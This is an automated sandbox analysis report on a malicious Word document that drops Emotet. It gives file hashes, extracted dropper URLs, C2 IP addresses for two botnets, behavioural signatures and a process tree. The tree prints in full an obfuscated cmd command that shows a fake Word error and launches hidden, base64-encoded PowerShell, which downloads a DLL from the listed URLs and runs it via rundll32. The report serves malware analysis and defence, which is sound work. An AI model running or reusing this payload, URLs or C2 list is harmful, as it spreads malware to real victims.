Analysis

  • max time kernel
    139s
  • max time network
    137s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    09-02-2021 07:36

General

  • Target

    9092846dece6e79c44ca875d45bac88bdd2f251cacc31279566e30387bff2371.doc

  • Size

    159KB

  • MD5

    c8857c120f2a6609fb03f3a94f79df2d

  • SHA1

    0f01c1feab662983a38f0d1395f2704b9c2eea86

  • SHA256

    9092846dece6e79c44ca875d45bac88bdd2f251cacc31279566e30387bff2371

  • SHA512

    cecba70eba96802f7c6c8eaf60f0a0549a58f9d45418579c02d42d76e46e4f24c9b9fba6cf4cddb24ce0fd17e7231500319a7a40ae6ea6e67d1b6bff846e17a4

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://office.horussolution.com/files/Help/

exe.dropper

http://18.179.187.145/licenses/Sys/

exe.dropper

https://malaysianscoop.com/img/MSInfo/

exe.dropper

https://luoyb.com/wp-includes/rUhBVqXWAV/

exe.dropper

http://uk-bet.com/wp-content/Media/

exe.dropper

http://somatone.atakdev.com/plesk-stat/Stationery/

Extracted

Family

emotet

Botnet

Epoch3

C2

113.161.176.235:80

88.247.30.64:80

89.163.210.141:8080

139.162.10.249:8080

203.157.152.9:7080

109.99.146.210:8080

78.90.78.210:80

172.193.14.201:80

157.7.164.178:8081

189.211.214.19:443

157.245.145.87:443

180.148.4.130:8080

46.32.229.152:8080

24.245.65.66:80

82.78.179.117:443

177.130.51.198:80

121.117.147.153:443

203.160.167.243:80

172.104.46.84:8080

202.29.237.113:8080

rsa_pubkey.plain

Extracted

Family

emotet

Botnet

LEA

C2

80.158.3.161:443

80.158.51.209:8080

80.158.35.51:80

80.158.63.78:443

80.158.53.167:80

80.158.62.194:443

80.158.59.174:8080

80.158.43.136:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 5 IoCs
  • Loads dropped DLL 2 IoCs
  • Drops file in System32 directory 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 21 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\9092846dece6e79c44ca875d45bac88bdd2f251cacc31279566e30387bff2371.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:496
  • C:\Windows\system32\cmd.exe
    cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P^Ow^er^she^L^L -w hidden -ENCOD IAAgAHMAZQB0AC0AaQBUAEUATQAgACAAdgBBAHIASQBhAGIAbABFADoAbAA4ADAAcgAgACAAKABbAFQAeQBwAEUAXQAoACIAewAxAH0AewA0AH0AewAzAH0AewAwAH0AewAyAH0AIgAgAC0ARgAgACcARABJAHIAZQBDAFQAJwAsACcAcwBZAFMAVABFACcALAAnAE8AUgB5ACcALAAnAEkAbwAuACcALAAnAE0ALgAnACkAKQA7ACAAIAAkAHAAWQBaAHcAQgAgAD0AIAAgAFsAdABZAFAAZQBdACgAIgB7ADQAfQB7ADMAfQB7ADAAfQB7ADEAfQB7ADUAfQB7ADIAfQAiAC0ARgAnAEkAJwAsACcAYwBlACcALAAnAEcAZQBSACcALAAnAE4AZQB0AC4AUwBFAFIAVgAnACwAJwBzAFkAUwB0AEUAbQAuACcALAAnAHAATwBpAG4AVABNAEEAbgBBACcAKQAgACAAOwAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACgAKAAnAFMAaQAnACsAJwBsAGUAbgAnACkAKwAnAHQAbAAnACsAJwB5ACcAKwAoACcAQwBvACcAKwAnAG4AJwArACcAdABpAG4AJwApACsAJwB1AGUAJwApADsAJABXAGQANwBhADgAcQAwAD0AJABZADUAOABPACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABUADYANgBKADsAJABBAF8ANgBYAD0AKAAnAFoAJwArACgAJwA0ADgAJwArACcAQgAnACkAKQA7ACAAIAAoAEcARQB0AC0ASQB0AGUATQAgACAAdgBhAFIASQBhAEIAbABFADoATAA4ADAAUgAgACkALgB2AGEAbAB1AGUAOgA6ACIAYwByAEUAQQBUAEUARABJAGAAUgBgAGUAYwBgAFQAYABPAHIAWQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAHkARwAnACsAJwBpAEoAJwArACgAJwBnAF8AcABmAGYAJwArACcAegB5ACcAKwAnAEcAaQBMACcAKQArACcAbAAnACsAJwBjACcAKwAnAGgAJwArACgAJwB3AHUAJwArACcAbgAnACkAKwAoACcAeQBHACcAKwAnAGkAJwApACkAIAAtAEMAUgBlAHAAbABBAEMARQAgACAAKAAnAHkARwAnACsAJwBpACcAKQAsAFsAYwBIAEEAcgBdADkAMgApACkAOwAkAFIANQBfAFUAPQAoACgAJwBWADAAJwArACcAOAAnACkAKwAnAFYAJwApADsAIAAgACQAcABZAHoAdwBCADoAOgAiAFMAYABFAEMAYABVAFIAaQB0AFkAcABSAG8AdABvAGMATwBsACIAIAA9ACAAKAAoACcAVABsAHMAJwArACcAMQAnACkAKwAnADIAJwApADsAJABNADQAOABTAD0AKAAnAEwAOQAnACsAJwA1AFQAJwApADsAJABaAHUAaQBrAGEANwB5ACAAPQAgACgAJwBSADYAJwArACcAMQBTACcAKQA7ACQAVQAwADYAVwA9ACgAKAAnAFgAMAAnACsAJwA2ACcAKQArACcAUAAnACkAOwAkAEwAawBwAHEAXwB5ADUAPQAkAEgATwBNAEUAKwAoACgAJwB7ACcAKwAnADAAfQBKAGcAXwBwAGYAZgAnACsAJwB6AHsAMAB9AEwAJwArACcAbABjAGgAdwB1AG4AewAwACcAKwAnAH0AJwApACAALQBGAFsAYwBoAEEAUgBdADkAMgApACsAJABaAHUAaQBrAGEANwB5ACsAKAAoACcALgAnACsAJwBkAGwAJwApACsAJwBsACcAKQA7ACQATwA2ADAAUgA9ACgAJwBYACcAKwAoACcAOQA4ACcAKwAnAFgAJwApACkAOwAkAFUAMwB0AHkAZABnAGIAPQAoACgAJwBdAGUAMQByAFsAJwArACcAUwBzACcAKQArACcAOgAvACcAKwAoACcALwBvAGYAZgBpACcAKwAnAGMAJwApACsAKAAnAGUALgBoACcAKwAnAG8AcgB1ACcAKQArACgAJwBzACcAKwAnAHMAbwAnACsAJwBsAHUAdAAnACsAJwBpAG8AJwArACcAbgAuAGMAbwAnACsAJwBtAC8AZgAnACsAJwBpAGwAZQBzAC8AJwApACsAKAAnAEgAJwArACcAZQBsAHAALwAnACkAKwAoACcAQAAnACsAJwBdAGUAMQByAFsAUwA6ACcAKwAnAC8AJwApACsAKAAnAC8AJwArACcAMQA4AC4AMQA3ACcAKQArACgAJwA5AC4AJwArACcAMQAnACkAKwAoACcAOAA3ACcAKwAnAC4AJwApACsAJwAxADQAJwArACgAJwA1ACcAKwAnAC8AbAAnACkAKwAoACcAaQBjACcAKwAnAGUAbgBzAGUAcwAnACsAJwAvAFMAeQAnACkAKwAoACcAcwAvAEAAXQAnACsAJwBlACcAKQArACgAJwAxAHIAWwAnACsAJwBTAHMAOgAvACcAKwAnAC8AJwApACsAJwBtACcAKwAoACcAYQBsACcAKwAnAGEAeQAnACkAKwAnAHMAJwArACcAaQAnACsAKAAnAGEAJwArACcAbgBzAGMAbwBvAHAAJwApACsAJwAuAGMAJwArACcAbwAnACsAJwBtAC8AJwArACcAaQAnACsAKAAnAG0AJwArACcAZwAvAE0AJwApACsAJwBTAEkAJwArACcAbgAnACsAJwBmACcAKwAoACcAbwAnACsAJwAvAEAAJwApACsAKAAnAF0AZQAxAHIAWwAnACsAJwBTACcAKQArACcAcwAnACsAJwA6ACcAKwAoACcALwAvACcAKwAnAGwAJwApACsAJwB1ACcAKwAoACcAbwB5ACcAKwAnAGIALgBjAG8AbQAnACsAJwAvAHcAcAAnACkAKwAoACcALQBpAG4AJwArACcAYwAnACsAJwBsAHUAJwApACsAJwBkACcAKwAoACcAZQAnACsAJwBzAC8AcgBVACcAKQArACgAJwBoACcAKwAnAEIAVgBxAFgAJwArACcAVwAnACkAKwAoACcAQQBWACcAKwAnAC8AQABdAGUAMQByAFsAJwArACcAUwAnACkAKwAoACcAOgAvAC8AdQAnACsAJwBrACcAKQArACgAJwAtACcAKwAnAGIAZQB0AC4AYwAnACkAKwAoACcAbwBtACcAKwAnAC8AdwBwAC0AJwApACsAJwBjACcAKwAoACcAbwAnACsAJwBuAHQAZQBuACcAKwAnAHQALwBNACcAKwAnAGUAJwApACsAKAAnAGQAaQBhACcAKwAnAC8AQAAnACkAKwAoACcAXQBlACcAKwAnADEAJwApACsAKAAnAHIAWwAnACsAJwBTACcAKQArACgAJwA6AC8ALwBzACcAKwAnAG8AJwArACcAbQBhAHQAbwAnACkAKwAnAG4AZQAnACsAKAAnAC4AYQB0AGEAawAnACsAJwBkAGUAdgAnACsAJwAuAGMAbwBtAC8AcAAnACsAJwBsAGUAcwBrAC0AJwApACsAJwBzAHQAJwArACcAYQAnACsAJwB0ACcAKwAnAC8AUwAnACsAKAAnAHQAYQB0AGkAbwBuACcAKwAnAGUAcgB5ACcAKwAnAC8AJwApACkALgAiAFIAYABFAFAAbABhAEMARQAiACgAKAAnAF0AZQAnACsAJwAxACcAKwAoACcAcgAnACsAJwBbAFMAJwApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAHMAZAAnACwAJwBzAHcAJwApACwAKAAnAGgAJwArACgAJwB0AHQAJwArACcAcAAnACkAKQAsACcAMwBkACcAKQBbADEAXQApAC4AIgBzAHAAYABsAEkAVAAiACgAJABTADMAOQBXACAAKwAgACQAVwBkADcAYQA4AHEAMAAgACsAIAAkAEcAMABfAE0AKQA7ACQARAA0ADMAUgA9ACgAJwBZACcAKwAoACcANAAwACcAKwAnAFQAJwApACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEoAYQB1ADcAYQBvADgAIABpAG4AIAAkAFUAMwB0AHkAZABnAGIAKQB7AHQAcgB5AHsAKAAuACgAJwBOAGUAdwAtAE8AYgBqACcAKwAnAGUAJwArACcAYwB0ACcAKQAgAHMAeQBzAHQARQBtAC4AbgBlAFQALgB3AEUAYgBDAEwASQBlAE4AVAApAC4AIgBEAG8AdwBuAGAAbABvAEEARABGAGAASQBgAGwAZQAiACgAJABKAGEAdQA3AGEAbwA4ACwAIAAkAEwAawBwAHEAXwB5ADUAKQA7ACQAUAAwADIARwA9ACgAJwBZADAAJwArACcAOQBRACcAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAnACsAJwAtACcAKwAnAEkAdABlAG0AJwApACAAJABMAGsAcABxAF8AeQA1ACkALgAiAGwAYABlAG4ARwB0AEgAIgAgAC0AZwBlACAANAAzADkANgA0ACkAIAB7AC4AKAAnAHIAdQAnACsAJwBuAGQAJwArACcAbABsADMAMgAnACkAIAAkAEwAawBwAHEAXwB5ADUALAAoACcAQwBvACcAKwAnAG4AJwArACgAJwB0ACcAKwAnAHIAbwBsACcAKQArACcAXwBSACcAKwAoACcAdQBuAEQATAAnACsAJwBMACcAKQApAC4AIgB0AG8AcwB0AGAAUgBpAE4ARwAiACgAKQA7ACQAVwAyADkASwA9ACgAJwBDACcAKwAoACcAOAAwACcAKwAnAFYAJwApACkAOwBiAHIAZQBhAGsAOwAkAFkAXwA2AEoAPQAoACgAJwBIADMAJwArACcANwAnACkAKwAnAEUAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABZADAANABJAD0AKAAoACcAQgAnACsAJwA3ADQAJwApACsAJwBCACcAKQA=
    1⤵
    • Process spawned unexpected child process
    • Suspicious use of WriteProcessMemory
    PID:644
    • C:\Windows\system32\msg.exe
      msg Admin /v Word experienced an error trying to open the file.
      2⤵
        PID:2216
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        POwersheLL -w hidden -ENCOD IAAgAHMAZQB0AC0AaQBUAEUATQAgACAAdgBBAHIASQBhAGIAbABFADoAbAA4ADAAcgAgACAAKABbAFQAeQBwAEUAXQAoACIAewAxAH0AewA0AH0AewAzAH0AewAwAH0AewAyAH0AIgAgAC0ARgAgACcARABJAHIAZQBDAFQAJwAsACcAcwBZAFMAVABFACcALAAnAE8AUgB5ACcALAAnAEkAbwAuACcALAAnAE0ALgAnACkAKQA7ACAAIAAkAHAAWQBaAHcAQgAgAD0AIAAgAFsAdABZAFAAZQBdACgAIgB7ADQAfQB7ADMAfQB7ADAAfQB7ADEAfQB7ADUAfQB7ADIAfQAiAC0ARgAnAEkAJwAsACcAYwBlACcALAAnAEcAZQBSACcALAAnAE4AZQB0AC4AUwBFAFIAVgAnACwAJwBzAFkAUwB0AEUAbQAuACcALAAnAHAATwBpAG4AVABNAEEAbgBBACcAKQAgACAAOwAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACgAKAAnAFMAaQAnACsAJwBsAGUAbgAnACkAKwAnAHQAbAAnACsAJwB5ACcAKwAoACcAQwBvACcAKwAnAG4AJwArACcAdABpAG4AJwApACsAJwB1AGUAJwApADsAJABXAGQANwBhADgAcQAwAD0AJABZADUAOABPACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABUADYANgBKADsAJABBAF8ANgBYAD0AKAAnAFoAJwArACgAJwA0ADgAJwArACcAQgAnACkAKQA7ACAAIAAoAEcARQB0AC0ASQB0AGUATQAgACAAdgBhAFIASQBhAEIAbABFADoATAA4ADAAUgAgACkALgB2AGEAbAB1AGUAOgA6ACIAYwByAEUAQQBUAEUARABJAGAAUgBgAGUAYwBgAFQAYABPAHIAWQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAHkARwAnACsAJwBpAEoAJwArACgAJwBnAF8AcABmAGYAJwArACcAegB5ACcAKwAnAEcAaQBMACcAKQArACcAbAAnACsAJwBjACcAKwAnAGgAJwArACgAJwB3AHUAJwArACcAbgAnACkAKwAoACcAeQBHACcAKwAnAGkAJwApACkAIAAtAEMAUgBlAHAAbABBAEMARQAgACAAKAAnAHkARwAnACsAJwBpACcAKQAsAFsAYwBIAEEAcgBdADkAMgApACkAOwAkAFIANQBfAFUAPQAoACgAJwBWADAAJwArACcAOAAnACkAKwAnAFYAJwApADsAIAAgACQAcABZAHoAdwBCADoAOgAiAFMAYABFAEMAYABVAFIAaQB0AFkAcABSAG8AdABvAGMATwBsACIAIAA9ACAAKAAoACcAVABsAHMAJwArACcAMQAnACkAKwAnADIAJwApADsAJABNADQAOABTAD0AKAAnAEwAOQAnACsAJwA1AFQAJwApADsAJABaAHUAaQBrAGEANwB5ACAAPQAgACgAJwBSADYAJwArACcAMQBTACcAKQA7ACQAVQAwADYAVwA9ACgAKAAnAFgAMAAnACsAJwA2ACcAKQArACcAUAAnACkAOwAkAEwAawBwAHEAXwB5ADUAPQAkAEgATwBNAEUAKwAoACgAJwB7ACcAKwAnADAAfQBKAGcAXwBwAGYAZgAnACsAJwB6AHsAMAB9AEwAJwArACcAbABjAGgAdwB1AG4AewAwACcAKwAnAH0AJwApACAALQBGAFsAYwBoAEEAUgBdADkAMgApACsAJABaAHUAaQBrAGEANwB5ACsAKAAoACcALgAnACsAJwBkAGwAJwApACsAJwBsACcAKQA7ACQATwA2ADAAUgA9ACgAJwBYACcAKwAoACcAOQA4ACcAKwAnAFgAJwApACkAOwAkAFUAMwB0AHkAZABnAGIAPQAoACgAJwBdAGUAMQByAFsAJwArACcAUwBzACcAKQArACcAOgAvACcAKwAoACcALwBvAGYAZgBpACcAKwAnAGMAJwApACsAKAAnAGUALgBoACcAKwAnAG8AcgB1ACcAKQArACgAJwBzACcAKwAnAHMAbwAnACsAJwBsAHUAdAAnACsAJwBpAG8AJwArACcAbgAuAGMAbwAnACsAJwBtAC8AZgAnACsAJwBpAGwAZQBzAC8AJwApACsAKAAnAEgAJwArACcAZQBsAHAALwAnACkAKwAoACcAQAAnACsAJwBdAGUAMQByAFsAUwA6ACcAKwAnAC8AJwApACsAKAAnAC8AJwArACcAMQA4AC4AMQA3ACcAKQArACgAJwA5AC4AJwArACcAMQAnACkAKwAoACcAOAA3ACcAKwAnAC4AJwApACsAJwAxADQAJwArACgAJwA1ACcAKwAnAC8AbAAnACkAKwAoACcAaQBjACcAKwAnAGUAbgBzAGUAcwAnACsAJwAvAFMAeQAnACkAKwAoACcAcwAvAEAAXQAnACsAJwBlACcAKQArACgAJwAxAHIAWwAnACsAJwBTAHMAOgAvACcAKwAnAC8AJwApACsAJwBtACcAKwAoACcAYQBsACcAKwAnAGEAeQAnACkAKwAnAHMAJwArACcAaQAnACsAKAAnAGEAJwArACcAbgBzAGMAbwBvAHAAJwApACsAJwAuAGMAJwArACcAbwAnACsAJwBtAC8AJwArACcAaQAnACsAKAAnAG0AJwArACcAZwAvAE0AJwApACsAJwBTAEkAJwArACcAbgAnACsAJwBmACcAKwAoACcAbwAnACsAJwAvAEAAJwApACsAKAAnAF0AZQAxAHIAWwAnACsAJwBTACcAKQArACcAcwAnACsAJwA6ACcAKwAoACcALwAvACcAKwAnAGwAJwApACsAJwB1ACcAKwAoACcAbwB5ACcAKwAnAGIALgBjAG8AbQAnACsAJwAvAHcAcAAnACkAKwAoACcALQBpAG4AJwArACcAYwAnACsAJwBsAHUAJwApACsAJwBkACcAKwAoACcAZQAnACsAJwBzAC8AcgBVACcAKQArACgAJwBoACcAKwAnAEIAVgBxAFgAJwArACcAVwAnACkAKwAoACcAQQBWACcAKwAnAC8AQABdAGUAMQByAFsAJwArACcAUwAnACkAKwAoACcAOgAvAC8AdQAnACsAJwBrACcAKQArACgAJwAtACcAKwAnAGIAZQB0AC4AYwAnACkAKwAoACcAbwBtACcAKwAnAC8AdwBwAC0AJwApACsAJwBjACcAKwAoACcAbwAnACsAJwBuAHQAZQBuACcAKwAnAHQALwBNACcAKwAnAGUAJwApACsAKAAnAGQAaQBhACcAKwAnAC8AQAAnACkAKwAoACcAXQBlACcAKwAnADEAJwApACsAKAAnAHIAWwAnACsAJwBTACcAKQArACgAJwA6AC8ALwBzACcAKwAnAG8AJwArACcAbQBhAHQAbwAnACkAKwAnAG4AZQAnACsAKAAnAC4AYQB0AGEAawAnACsAJwBkAGUAdgAnACsAJwAuAGMAbwBtAC8AcAAnACsAJwBsAGUAcwBrAC0AJwApACsAJwBzAHQAJwArACcAYQAnACsAJwB0ACcAKwAnAC8AUwAnACsAKAAnAHQAYQB0AGkAbwBuACcAKwAnAGUAcgB5ACcAKwAnAC8AJwApACkALgAiAFIAYABFAFAAbABhAEMARQAiACgAKAAnAF0AZQAnACsAJwAxACcAKwAoACcAcgAnACsAJwBbAFMAJwApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAHMAZAAnACwAJwBzAHcAJwApACwAKAAnAGgAJwArACgAJwB0AHQAJwArACcAcAAnACkAKQAsACcAMwBkACcAKQBbADEAXQApAC4AIgBzAHAAYABsAEkAVAAiACgAJABTADMAOQBXACAAKwAgACQAVwBkADcAYQA4AHEAMAAgACsAIAAkAEcAMABfAE0AKQA7ACQARAA0ADMAUgA9ACgAJwBZACcAKwAoACcANAAwACcAKwAnAFQAJwApACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEoAYQB1ADcAYQBvADgAIABpAG4AIAAkAFUAMwB0AHkAZABnAGIAKQB7AHQAcgB5AHsAKAAuACgAJwBOAGUAdwAtAE8AYgBqACcAKwAnAGUAJwArACcAYwB0ACcAKQAgAHMAeQBzAHQARQBtAC4AbgBlAFQALgB3AEUAYgBDAEwASQBlAE4AVAApAC4AIgBEAG8AdwBuAGAAbABvAEEARABGAGAASQBgAGwAZQAiACgAJABKAGEAdQA3AGEAbwA4ACwAIAAkAEwAawBwAHEAXwB5ADUAKQA7ACQAUAAwADIARwA9ACgAJwBZADAAJwArACcAOQBRACcAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAnACsAJwAtACcAKwAnAEkAdABlAG0AJwApACAAJABMAGsAcABxAF8AeQA1ACkALgAiAGwAYABlAG4ARwB0AEgAIgAgAC0AZwBlACAANAAzADkANgA0ACkAIAB7AC4AKAAnAHIAdQAnACsAJwBuAGQAJwArACcAbABsADMAMgAnACkAIAAkAEwAawBwAHEAXwB5ADUALAAoACcAQwBvACcAKwAnAG4AJwArACgAJwB0ACcAKwAnAHIAbwBsACcAKQArACcAXwBSACcAKwAoACcAdQBuAEQATAAnACsAJwBMACcAKQApAC4AIgB0AG8AcwB0AGAAUgBpAE4ARwAiACgAKQA7ACQAVwAyADkASwA9ACgAJwBDACcAKwAoACcAOAAwACcAKwAnAFYAJwApACkAOwBiAHIAZQBhAGsAOwAkAFkAXwA2AEoAPQAoACgAJwBIADMAJwArACcANwAnACkAKwAnAEUAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABZADAANABJAD0AKAAoACcAQgAnACsAJwA3ADQAJwApACsAJwBCACcAKQA=
        2⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1600
        • C:\Windows\system32\rundll32.exe
          "C:\Windows\system32\rundll32.exe" C:\Users\Admin\Jg_pffz\Llchwun\R61S.dll,Control_RunDLL
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3132
          • C:\Windows\SysWOW64\rundll32.exe
            "C:\Windows\system32\rundll32.exe" C:\Users\Admin\Jg_pffz\Llchwun\R61S.dll,Control_RunDLL
            4⤵
            • Loads dropped DLL
            • Drops file in System32 directory
            • Suspicious use of WriteProcessMemory
            PID:2240
            • C:\Windows\SysWOW64\rundll32.exe
              C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Gqxsahuwi\jhdacxkf.pxk",Control_RunDLL
              5⤵
              • Blocklisted process makes network request
              • Drops file in System32 directory
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:1496
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Gqxsahuwi\wbxfxbdzrorbrig.dll",Control_RunDLL pAIAAC4AAABHAHEAeABzAGEAaAB1AHcAaQBcAGoAaABkAGEAYwB4AGsAZgAuAHAAeABrAAAA
                6⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of WriteProcessMemory
                PID:596
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Gqxsahuwi\jhdacxkf.pxk",Control_RunDLL
                  7⤵
                  • Blocklisted process makes network request
                  • Suspicious behavior: EnumeratesProcesses
                  PID:196

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Discovery

    System Information Discovery

    3
    T1082

    Query Registry

    2
    T1012

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\Jg_pffz\Llchwun\R61S.dll
      MD5

      3cc696c301c3458b16d3fc39ceb92965

      SHA1

      b202378a54eb660b74fa6be1e627d9b80e262dbe

      SHA256

      f60a367863fb0eaecddb98f29eb44b8f885c027684d441dc5d79cf2f33d65563

      SHA512

      63598ea970d06f3095ad4f7dd70d1ecfc3d65bb4f90ad6b5fdf4d2fcc3e51f54fe705c060de5d95375c5b15495007c65fe60d23877c57abe596a7d473c588fd7

    • C:\Windows\SysWOW64\Gqxsahuwi\wbxfxbdzrorbrig.dll
      MD5

      9a062ead5b2d55af0a5a4b39c5b5eadc

      SHA1

      fc83367be87c700a696b0329dab538b5e47d90bf

      SHA256

      a9c68d527223db40014d067cf4fdae5be46cca67387e9cfdff118276085f23ef

      SHA512

      693ab862c7e3c5dad3ca3d44bbc4a5a4c2391ff558e02e86e4c1d7d1fa7c00b4acf1c426ca619dea2b422997caaf1f0ecba37ec0ffca19edaca297005c9ad861

    • \Users\Admin\Jg_pffz\Llchwun\R61S.dll
      MD5

      3cc696c301c3458b16d3fc39ceb92965

      SHA1

      b202378a54eb660b74fa6be1e627d9b80e262dbe

      SHA256

      f60a367863fb0eaecddb98f29eb44b8f885c027684d441dc5d79cf2f33d65563

      SHA512

      63598ea970d06f3095ad4f7dd70d1ecfc3d65bb4f90ad6b5fdf4d2fcc3e51f54fe705c060de5d95375c5b15495007c65fe60d23877c57abe596a7d473c588fd7

    • \Windows\SysWOW64\Gqxsahuwi\wbxfxbdzrorbrig.dll
      MD5

      9a062ead5b2d55af0a5a4b39c5b5eadc

      SHA1

      fc83367be87c700a696b0329dab538b5e47d90bf

      SHA256

      a9c68d527223db40014d067cf4fdae5be46cca67387e9cfdff118276085f23ef

      SHA512

      693ab862c7e3c5dad3ca3d44bbc4a5a4c2391ff558e02e86e4c1d7d1fa7c00b4acf1c426ca619dea2b422997caaf1f0ecba37ec0ffca19edaca297005c9ad861

    • memory/196-28-0x0000000000000000-mapping.dmp
    • memory/196-30-0x0000000004E80000-0x0000000004EA0000-memory.dmp
      Filesize

      128KB

    • memory/496-5-0x00007FF9C2D80000-0x00007FF9C2D90000-memory.dmp
      Filesize

      64KB

    • memory/496-3-0x00007FF9C2D80000-0x00007FF9C2D90000-memory.dmp
      Filesize

      64KB

    • memory/496-6-0x000001CEC70A0000-0x000001CEC76D7000-memory.dmp
      Filesize

      6.2MB

    • memory/496-2-0x00007FF9C2D80000-0x00007FF9C2D90000-memory.dmp
      Filesize

      64KB

    • memory/496-4-0x00007FF9C2D80000-0x00007FF9C2D90000-memory.dmp
      Filesize

      64KB

    • memory/596-22-0x0000000000000000-mapping.dmp
    • memory/596-26-0x0000000002C10000-0x0000000002C2D000-memory.dmp
      Filesize

      116KB

    • memory/596-27-0x0000000004630000-0x0000000004650000-memory.dmp
      Filesize

      128KB

    • memory/596-25-0x00000000046E0000-0x00000000046E1000-memory.dmp
      Filesize

      4KB

    • memory/1496-20-0x0000000000000000-mapping.dmp
    • memory/1496-21-0x00000000028A0000-0x00000000028C2000-memory.dmp
      Filesize

      136KB

    • memory/1600-10-0x0000019BA6240000-0x0000019BA6241000-memory.dmp
      Filesize

      4KB

    • memory/1600-14-0x0000019BA62B6000-0x0000019BA62B8000-memory.dmp
      Filesize

      8KB

    • memory/1600-9-0x00007FF9DBE20000-0x00007FF9DC80C000-memory.dmp
      Filesize

      9.9MB

    • memory/1600-8-0x0000000000000000-mapping.dmp
    • memory/1600-11-0x0000019BA6440000-0x0000019BA6441000-memory.dmp
      Filesize

      4KB

    • memory/1600-12-0x0000019BA62B0000-0x0000019BA62B2000-memory.dmp
      Filesize

      8KB

    • memory/1600-13-0x0000019BA62B3000-0x0000019BA62B5000-memory.dmp
      Filesize

      8KB

    • memory/2216-7-0x0000000000000000-mapping.dmp
    • memory/2240-19-0x0000000004310000-0x0000000004332000-memory.dmp
      Filesize

      136KB

    • memory/2240-17-0x0000000000000000-mapping.dmp
    • memory/3132-15-0x0000000000000000-mapping.dmp